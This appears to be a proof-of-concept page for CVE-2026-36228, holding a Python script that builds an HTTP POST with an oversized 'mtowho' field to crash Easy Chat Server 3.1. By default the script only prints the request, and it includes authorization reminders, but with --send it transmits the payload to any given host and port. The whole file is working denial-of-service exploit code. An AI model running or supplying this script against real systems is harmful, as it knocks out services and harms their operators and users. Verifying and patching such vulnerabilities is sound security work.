5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""Benign-by-default verifier for CVE-2026-36228.

The described issue is a denial-of-service crash in Easy Chat Server 3.1 when
the chat message recipient field receives a very large value. This script
prints the generated request by default. It only sends traffic when --send is
provided against a system you own or are authorized to test.
"""

import argparse
import socket
import sys
import urllib.parse


DEFAULT_ENDPOINT = "/body2.ghp"
DEFAULT_PAYLOAD_SIZE = 40000


def encode_form(form_data: dict[str, str]) -> bytes:
    parts = []
    for key, value in form_data.items():
        parts.append(
            f"{urllib.parse.quote(key, safe='')}="
            f"{urllib.parse.quote(str(value), safe='')}"
        )
    return "&".join(parts).encode("utf-8")


def build_body(payload_size: int, sender: str, room_id: str, message: str) -> bytes:
    form_data = {
        "mtowho": "A" * payload_size,
        "fromuser": sender,
        "RoomID": room_id,
        "message": message,
        "submit": "Send",
    }
    return encode_form(form_data)


def build_request(
    host: str,
    port: int,
    endpoint: str,
    payload_size: int,
    sender: str,
    room_id: str,
    message: str,
    cookie: str | None,
) -> bytes:
    body = build_body(payload_size, sender, room_id, message)
    headers = [
        f"POST {endpoint} HTTP/1.1",
        f"Host: {host}:{port}",
        "User-Agent: CVE-2026-36228-local-verifier/1.0",
        "Accept: */*",
        "Accept-Language: en-us",
        "Connection: close",
        "Content-Type: application/x-www-form-urlencoded",
        f"Content-Length: {len(body)}",
    ]
    if cookie:
        headers.append(f"Cookie: {cookie}")
    headers.extend(["", ""])
    return "\r\n".join(headers).encode("utf-8") + body


def send_request(host: str, port: int, request: bytes, timeout: float) -> bytes:
    with socket.create_connection((host, port), timeout=timeout) as sock:
        sock.sendall(request)
        chunks = []
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            chunks.append(chunk)
    return b"".join(chunks)


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Benign-by-default Easy Chat Server 3.1 CVE-2026-36228 verifier."
    )
    parser.add_argument("host", help="target host you own or are authorized to test")
    parser.add_argument("port", type=int, help="target HTTP port, commonly 80")
    parser.add_argument("--endpoint", default=DEFAULT_ENDPOINT, help="chat message endpoint")
    parser.add_argument("--payload-size", type=int, default=DEFAULT_PAYLOAD_SIZE)
    parser.add_argument("--sender", default="proof-user", help="authenticated sender username")
    parser.add_argument("--room-id", default="1", help="chat room identifier")
    parser.add_argument("--message", default="CVE-2026-36228 benign verifier")
    parser.add_argument("--cookie", help="optional authenticated session cookie")
    parser.add_argument("--timeout", type=float, default=5.0, help="socket timeout")
    parser.add_argument(
        "--send",
        action="store_true",
        help="send the request; without this flag the script only prints a dry run",
    )
    args = parser.parse_args()

    if args.payload_size < 1:
        print("[-] --payload-size must be positive", file=sys.stderr)
        return 2

    request = build_request(
        args.host,
        args.port,
        args.endpoint,
        args.payload_size,
        args.sender,
        args.room_id,
        args.message,
        args.cookie,
    )

    print(f"[+] Host: {args.host}:{args.port}")
    print(f"[+] Endpoint: {args.endpoint}")
    print(f"[+] mtowho payload size: {args.payload_size}")
    print(f"[+] Request size: {len(request)} bytes")

    if not args.send:
        print("[+] Dry run only. Re-run with --send against an authorized lab target to transmit.")
        preview = request[:1200].decode("utf-8", errors="replace")
        if len(request) > 1200:
            preview += "\n...[request truncated in preview]..."
        print(preview)
        return 0

    try:
        response = send_request(args.host, args.port, request, args.timeout)
    except OSError as exc:
        print(f"[-] Request failed or target closed the connection: {exc}", file=sys.stderr)
        return 1

    print("[+] Response received, first 500 bytes:")
    print(response[:500].decode("utf-8", errors="replace"))
    print("[+] If the target is vulnerable, the Easy Chat Server process may terminate.")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())